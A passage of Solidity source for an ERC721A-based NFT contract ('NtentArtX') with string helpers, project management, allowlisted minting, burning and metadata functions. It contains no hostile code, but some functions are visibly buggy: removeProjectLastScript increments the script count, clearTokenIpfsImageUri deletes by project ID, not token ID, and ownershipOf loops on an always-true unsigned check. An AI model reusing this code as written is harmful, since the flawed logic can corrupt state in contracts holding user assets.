* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external virtual view returns (uint256);
}
// File contracts/libs/Address.sol
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.8.9;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
pragma solidity ^0.8.9;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function concatenate(string memory a, string memory b)
internal
pure
returns (string memory)
{
return string(abi.encodePacked(a, b));
}
/**
* @dev converts string to integer
*/
function str2int(string memory numString) internal pure returns (uint256) {
uint256 val = 0;
bytes memory stringBytes = bytes(numString);
for (uint256 i; i < stringBytes.length; i++) {
uint256 exp = stringBytes.length - i;
bytes1 ival = stringBytes[i];
uint8 uval = uint8(ival);
uint256 jval = uval - uint256(0x30);
val += (uint256(jval) * (10**(exp - 1)));
}
return val;
}
/**
* @dev get substring of string
*/
function substring(
string memory str,
uint256 startIndex,
uint256 endIndex
) internal pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex - startIndex);
for (uint256 i = startIndex; i < endIndex; i++) {
result[i - startIndex] = strBytes[i];
}
return string(result);
}
/**
* @dev gets string length
*/
function stringLength(string memory str)
internal
pure
returns (uint256 length)
{
uint256 i = 0;
bytes memory string_rep = bytes(str);
while (i < string_rep.length) {
if (string_rep[i] >> 7 == 0) i += 1;
else if (string_rep[i] >> 5 == bytes1(uint8(0x6))) i += 2;
else if (string_rep[i] >> 4 == bytes1(uint8(0xE))) i += 3;
else if (string_rep[i] >> 3 == bytes1(uint8(0x1E)))
i += 4;
//For safety
else i += 1;
length++;
}
}
/**
* @dev reverses string
*/
function reverse(string memory _base)
internal
pure
returns (string memory)
{
bytes memory _baseBytes = bytes(_base);
assert(_baseBytes.length > 0);
string memory _tempValue = new string(_baseBytes.length);
bytes memory _newValue = bytes(_tempValue);
for (uint256 i = 0; i < _baseBytes.length; i++) {
_newValue[_baseBytes.length - i - 1] = _baseBytes[i];
}
return string(_newValue);
}
}
pragma solidity ^0.8.9;
library Ints {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
// File contracts/libs/IERC721Receiver.sol
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.9;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
abstract contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public virtual returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
*/
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error UnableDetermineTokenOwner();
error UnableGetTokenOwnerByIndex();
error URIQueryForNonexistentToken();
error BurnedQueryForZeroAddress();
pragma solidity ^0.8.9;
abstract contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Ints for uint256;
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
uint256 internal currentIndex;
uint256[] internal burnedTokens;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex - burnedTokens.length;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
if (!_exists(tokenId)) revert OwnerQueryForNonexistentToken();
unchecked {
for (uint256 curr = tokenId; curr >= 0; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
revert UnableDetermineTokenOwner();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev Added by @dotjiwa to track burned tokens.
*/
function isBurned(uint256 tokenId) public view returns (bool) {
return _ownerships[tokenId].burned;
}
function getBurnedTokens() public view returns (uint256[] memory) {
return burnedTokens;
}
/**
* @dev Brought over from ERC721 by @dotjiwa.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return
bytes(baseURI).length != 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender()))
revert ApprovalCallerNotOwnerNorApproved();
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
override
{
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data))
revert TransferToNonERC721ReceiverImplementer();
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(
address to,
uint256 startTokenId,
uint256 quantity
) internal {
_safeMint(to, startTokenId, quantity, "");
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 startTokenId,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, startTokenId, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 startTokenId,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (
safe &&
!_checkOnERC721Received(address(0), to, updatedIndex, _data)
) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
currentIndex = currentIndex + quantity;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
//update balance of owner
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
//store burned token id which will update total supply
burnedTokens.push(tokenId);
unchecked {
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership
.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); //also catches burned tokens
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership
.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0)
revert TransferToNonERC721ReceiverImplementer();
else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.9;
interface NtentTokenUri {
function tokenUri(uint256 _tokenId) external view returns (string memory);
}
interface NtentTransfer {
function onTransfer(
address _from,
address _to,
uint256 _tokenId,
uint256 _quantity
) external view returns (string memory);
}
contract NtentArtX is ERC721A {
using Ints for uint256;
using Strings for string;
event Mint(
uint256 indexed _startTokenId,
uint256 indexed _endTokenId,
uint256 indexed _projectId
);
event TokenBurned(address indexed _tokenOwner, uint256 indexed _tokenId);
struct Project {
string name;
string artist;
string description;
string website;
string license;
address purchaseContract;
address dataContract;
address tokenUriContract;
address transferContract;
bool acceptsMintPass;
uint256 mintPassProjectId;
bool dynamic;
string projectBaseURI;
string projectBaseIpfsURI;
uint256 invocations;
uint256 maxInvocations;
string scriptJSON;
mapping(uint256 => string) scripts;
uint256 scriptCount;
string ipfsHash;
bool useHashString;
bool useIpfs;
bool active;
bool locked;
bool paused;
}
uint256 constant ONE_MILLION = 1_000_000;
mapping(uint256 => Project) projects;
//All financial functions are stripped from struct for visibility
mapping(uint256 => address) public projectIdToArtistAddress;
mapping(uint256 => uint256) public projectIdToPricePerTokenInWei;
address public ntentAddress;
uint256 public ntentPercentage = 10;
mapping(uint256 => string) public staticIpfsImageLink;
address public admin;
mapping(address => bool) public isRainbowlisted;
mapping(address => bool) public isMintRainbowlisted;
uint256 public nextProjectId = 3;
uint256 public startProjectId = 3;
uint256 private _royaltyBps;
address payable private _royaltyRecipient;
bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6;
bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x2a55205a;
bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584;
mapping(address => bool) proxyToApproved;
modifier onlyValidTokenId(uint256 _tokenId) {
require(_exists(_tokenId), "Token ID not exists");
_;
}
modifier onlyUnlocked(uint256 _projectId) {
require(!projects[_projectId].locked, "Only if unlocked");
_;
}
modifier onlyArtist(uint256 _projectId) {
require(
msg.sender == projectIdToArtistAddress[_projectId],
"Only artist"
);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Only admin");
_;
}
modifier onlyRainbowlisted() {
require(isRainbowlisted[msg.sender], "Only Rainbowlisted");
_;
}
modifier onlyArtistOrRainbowlisted(uint256 _projectId) {
require(
isRainbowlisted[msg.sender] ||
msg.sender == projectIdToArtistAddress[_projectId],
"Only artist or Rainbowlisted"
);
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol)
ERC721A(_tokenName, _tokenSymbol)
{
admin = msg.sender;
isRainbowlisted[msg.sender] = true;
ntentAddress = msg.sender;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
ERC721A.supportsInterface(interfaceId) ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE ||
interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 ||
interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE;
}
function _exists(uint256 tokenId) internal view override returns (bool) {
uint256 projectId = tokenIdToProjectId(tokenId);
return
(tokenId <
((projectId * ONE_MILLION) +
projects[projectId].invocations)) &&
(tokenId >= (projectId * ONE_MILLION) && !isBurned(tokenId));
}
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256 _tokenId) {
require(
isMintRainbowlisted[msg.sender],
"Must mint from Rainbowlisted minter"
);
require(
projects[_projectId].invocations + quantity <=
projects[_projectId].maxInvocations,
"Exceeds max invocations"
);
require(
projects[_projectId].active ||
_by == projectIdToArtistAddress[_projectId],
"Proj must exist and be active"
);
require(
!projects[_projectId].paused ||
_by == projectIdToArtistAddress[_projectId],
"Purchases are paused"
);
uint256 tokenId = _mintTokens(_to, _projectId, quantity);
return tokenId;
}
function _mintTokens(
address _to,
uint256 _projectId,
uint256 quantity
) internal returns (uint256 _tokenId) {
uint256 nextStartTokenId = (_projectId * ONE_MILLION) +
projects[_projectId].invocations;
projects[_projectId].invocations =
projects[_projectId].invocations +
quantity;
_safeMint(_to, nextStartTokenId, quantity);
emit Mint(nextStartTokenId, nextStartTokenId + quantity, _projectId);
return nextStartTokenId;
}
function burn(address ownerAddress, uint256 tokenId)
external
returns (uint256 _tokenId)
{
require(
isMintRainbowlisted[msg.sender],
"Must burn from Rainbowlisted minter"
);
_burn(tokenId);
emit TokenBurned(ownerAddress, tokenId);
return tokenId;
}
function updateNtentAddress(address _ntentAddress) public onlyAdmin {
ntentAddress = _ntentAddress;
}
function updateNtentPercentage(uint256 _ntentPercentage) public onlyAdmin {
require(_ntentPercentage <= 50, "Max of 50%");
ntentPercentage = _ntentPercentage;
}
function addRainbowlisted(address _address) public onlyAdmin {
isRainbowlisted[_address] = true;
}
function removeRainbowlisted(address _address) public onlyAdmin {
isRainbowlisted[_address] = false;
}
function addMintRainbowlisted(address _address) public onlyAdmin {
isMintRainbowlisted[_address] = true;
}
function removeMintRainbowlisted(address _address) public onlyAdmin {
isMintRainbowlisted[_address] = false;
}
function getPricePerTokenInWei(uint256 _projectId)
public
view
returns (uint256 price)
{
return projectIdToPricePerTokenInWei[_projectId];
}
function toggleProjectIsLocked(uint256 _projectId)
public
onlyRainbowlisted
onlyUnlocked(_projectId)
{
projects[_projectId].locked = true;
}
function toggleProjectIsActive(uint256 _projectId)
public
onlyRainbowlisted
{
projects[_projectId].active = !projects[_projectId].active;
}
function updateProjectArtistAddress(
uint256 _projectId,
address _artistAddress
) public onlyArtistOrRainbowlisted(_projectId) {
projectIdToArtistAddress[_projectId] = _artistAddress;
}
function toggleProjectIsPaused(uint256 _projectId)
public
onlyArtistOrRainbowlisted(_projectId)
{
projects[_projectId].paused = !projects[_projectId].paused;
}
function addProject(
string memory _projectName,
address _artistAddress,
uint256 _pricePerTokenInWei,
address _purchaseContract,
bool _acceptsMintPass,
uint256 _mintPassProjectId,
bool _dynamic
) public onlyRainbowlisted {
uint256 projectId = nextProjectId;
projectIdToArtistAddress[projectId] = _artistAddress;
projects[projectId].name = _projectName;
projects[projectId].purchaseContract = _purchaseContract;
projects[projectId].acceptsMintPass = _acceptsMintPass;
projects[projectId].mintPassProjectId = _mintPassProjectId;
projectIdToPricePerTokenInWei[projectId] = _pricePerTokenInWei;
projects[projectId].paused = true;
projects[projectId].dynamic = _dynamic;
projects[projectId].maxInvocations = ONE_MILLION;
if (!_dynamic) {
projects[projectId].useHashString = false;
} else {
projects[projectId].useHashString = true;
}
nextProjectId = nextProjectId + 1;
}
function updateProjectPricePerTokenInWei(
uint256 _projectId,
uint256 _pricePerTokenInWei
) public onlyArtist(_projectId) {
projectIdToPricePerTokenInWei[_projectId] = _pricePerTokenInWei;
}
function updateProjectName(uint256 _projectId, string memory _projectName)
public
onlyUnlocked(_projectId)
onlyArtistOrRainbowlisted(_projectId)
{
projects[_projectId].name = _projectName;
}
function updateProjectArtistName(
uint256 _projectId,
string memory _projectArtistName
) public onlyUnlocked(_projectId) onlyArtistOrRainbowlisted(_projectId) {
projects[_projectId].artist = _projectArtistName;
}
function updateProjectPurchaseContractInfo(
uint256 _projectId,
address _projectPurchaseContract,
bool _acceptsMintPass,
uint256 _mintPassProjectId
) public onlyUnlocked(_projectId) onlyRainbowlisted {
projects[_projectId].purchaseContract = _projectPurchaseContract;
projects[_projectId].acceptsMintPass = _acceptsMintPass;
projects[_projectId].mintPassProjectId = _mintPassProjectId;
}
function updateProjectDataContractInfo(
uint256 _projectId,
address _projectDataContract
) public onlyUnlocked(_projectId) onlyRainbowlisted {
projects[_projectId].dataContract = _projectDataContract;
}
function updateTransferContractInfo(
uint256 _projectId,
address _projectTransferContract
) public onlyUnlocked(_projectId) onlyRainbowlisted {
projects[_projectId].transferContract = _projectTransferContract;
}
function updateProjectTokenUriContractInfo(
uint256 _projectId,
address _projectTokenUriContract
) public onlyUnlocked(_projectId) onlyRainbowlisted {
projects[_projectId].tokenUriContract = _projectTokenUriContract;
}
function updateProjectDescription(
uint256 _projectId,
string memory _projectDescription
) public onlyArtist(_projectId) {
projects[_projectId].description = _projectDescription;
}
function updateProjectWebsite(
uint256 _projectId,
string memory _projectWebsite
) public onlyArtist(_projectId) {
projects[_projectId].website = _projectWebsite;
}
function updateProjectLicense(
uint256 _projectId,
string memory _projectLicense
) public onlyUnlocked(_projectId) onlyArtistOrRainbowlisted(_projectId) {
projects[_projectId].license = _projectLicense;
}
function updateProjectMaxInvocations(
uint256 _projectId,
uint256 _maxInvocations
) public onlyArtist(_projectId) {
require(
(!projects[_projectId].locked ||
_maxInvocations < projects[_projectId].maxInvocations),
"Only if unlocked"
);
require(
_maxInvocations > projects[_projectId].invocations,
"Max invocations exceeds current"
);
require(_maxInvocations <= ONE_MILLION, "Cannot exceed 1000000");
projects[_projectId].maxInvocations = _maxInvocations;
}
function toggleProjectUseHashString(uint256 _projectId)
public
onlyUnlocked(_projectId)
onlyArtistOrRainbowlisted(_projectId)
{
require(
projects[_projectId].invocations == 0,
"Cannot modify after token is minted."
);
projects[_projectId].useHashString = !projects[_projectId]
.useHashString;
}
function addProjectScript(uint256 _projectId, string memory _script)
public
onlyUnlocked(_projectId)
onlyArtistOrRainbowlisted(_projectId)
{
projects[_projectId].scripts[
projects[_projectId].scriptCount
] = _script;
projects[_projectId].scriptCount = projects[_projectId].scriptCount + 1;
}
function updateProjectScript(
uint256 _projectId,
uint256 _scriptId,
string memory _script
) public onlyUnlocked(_projectId) onlyArtistOrRainbowlisted(_projectId) {
require(
_scriptId < projects[_projectId].scriptCount,
"scriptId out of range"
);
projects[_projectId].scripts[_scriptId] = _script;
}
function removeProjectLastScript(uint256 _projectId)
public
onlyUnlocked(_projectId)
onlyArtistOrRainbowlisted(_projectId)
{
require(
projects[_projectId].scriptCount > 0,
"there are no scripts to remove"
);
delete projects[_projectId].scripts[
projects[_projectId].scriptCount - 1
];
projects[_projectId].scriptCount = projects[_projectId].scriptCount + 1;
}
function updateProjectScriptJSON(
uint256 _projectId,
string memory _projectScriptJSON
) public onlyUnlocked(_projectId) onlyArtistOrRainbowlisted(_projectId) {
projects[_projectId].scriptJSON = _projectScriptJSON;
}
function updateProjectIpfsHash(uint256 _projectId, string memory _ipfsHash)
public
onlyUnlocked(_projectId)
onlyArtistOrRainbowlisted(_projectId)
{
projects[_projectId].ipfsHash = _ipfsHash;
}
function updateProjectBaseURI(uint256 _projectId, string memory _newBaseURI)
public
onlyArtist(_projectId)
{
projects[_projectId].projectBaseURI = _newBaseURI;
}
function updateProjectBaseIpfsURI(
uint256 _projectId,
string memory _projectBaseIpfsURI
) public onlyArtist(_projectId) {
projects[_projectId].projectBaseIpfsURI = _projectBaseIpfsURI;
}
function toggleProjectUseIpfsForStatic(uint256 _projectId)
public
onlyArtistOrRainbowlisted(_projectId)
{
require(
!projects[_projectId].dynamic,
"can only set static IPFS hash for static projects"
);
projects[_projectId].useIpfs = !projects[_projectId].useIpfs;
}
function toggleProjectIsDynamic(uint256 _projectId)
public
onlyUnlocked(_projectId)
onlyArtistOrRainbowlisted(_projectId)
{
require(
projects[_projectId].invocations == 0,
"Can not switch after a token is minted."
);
if (projects[_projectId].dynamic) {
projects[_projectId].useHashString = false;
} else {
projects[_projectId].useHashString = true;
}
projects[_projectId].dynamic = !projects[_projectId].dynamic;
}
function overrideTokenDynamicImageWithIpfsLink(
uint256 _tokenId,
string memory _ipfsHash
) public onlyArtistOrRainbowlisted(tokenIdToProjectId(_tokenId)) {
staticIpfsImageLink[_tokenId] = _ipfsHash;
}
function clearTokenIpfsImageUri(uint256 _tokenId)
public
onlyArtistOrRainbowlisted(tokenIdToProjectId(_tokenId))
{
delete staticIpfsImageLink[tokenIdToProjectId(_tokenId)];
}
function projectDetails(uint256 _projectId)
public
view
returns (
string memory projectName,
string memory artist,
string memory description,
string memory website,
string memory license,
bool dynamic
)
{
projectName = projects[_projectId].name;
artist = projects[_projectId].artist;
description = projects[_projectId].description;
website = projects[_projectId].website;
license = projects[_projectId].license;
dynamic = projects[_projectId].dynamic;
}
function projectTokenInfo(uint256 _projectId)
public
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
)
{
artistAddress = projectIdToArtistAddress[_projectId];
pricePerTokenInWei = projectIdToPricePerTokenInWei[_projectId];
invocations = projects[_projectId].invocations;
maxInvocations = projects[_projectId].maxInvocations;
active = projects[_projectId].active;
purchaseContract = projects[_projectId].purchaseContract;
dataContract = projects[_projectId].dataContract;
tokenUriContract = projects[_projectId].tokenUriContract;
